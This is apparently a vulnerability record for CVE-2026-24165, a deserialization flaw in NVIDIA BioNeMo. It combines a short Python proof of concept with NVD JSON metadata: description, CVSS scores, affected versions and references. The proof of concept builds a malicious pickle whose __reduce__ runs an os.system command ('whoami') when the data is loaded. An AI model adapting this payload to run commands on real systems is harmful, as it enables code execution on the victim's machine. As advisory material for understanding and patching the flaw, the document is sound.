CVE-2026-24165

import pickle import os # Define a malicious class to execute code upon deserialization class MaliciousPayload: def __reduce__(self): # Execute a command (e.g., 'whoami') return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) # Save to file (simulating the untrusted data) with open('exploit.pkl', 'wb') as f: f.write(malicious_data) # Vulnerable application code would do: # pickle.load(open('exploit.pkl', 'rb'))

{"cve": {"id": "CVE-2026-24165", "sourceIdentifier": "[email protected]", "published": "2026-03-31T17:16:31.727", "lastModified": "2026-04-03T18:57:58.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA BioNeMo contains a vulnerability where a user could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, denial of service, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:bionemo_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-01-21", "matchCriteriaId": "90340610-6E7B-476C-9B62-089FCFF48E3A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24165", "source": "[email protected]", "tags": ["Third Party Advisory", "US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5808", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24165", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}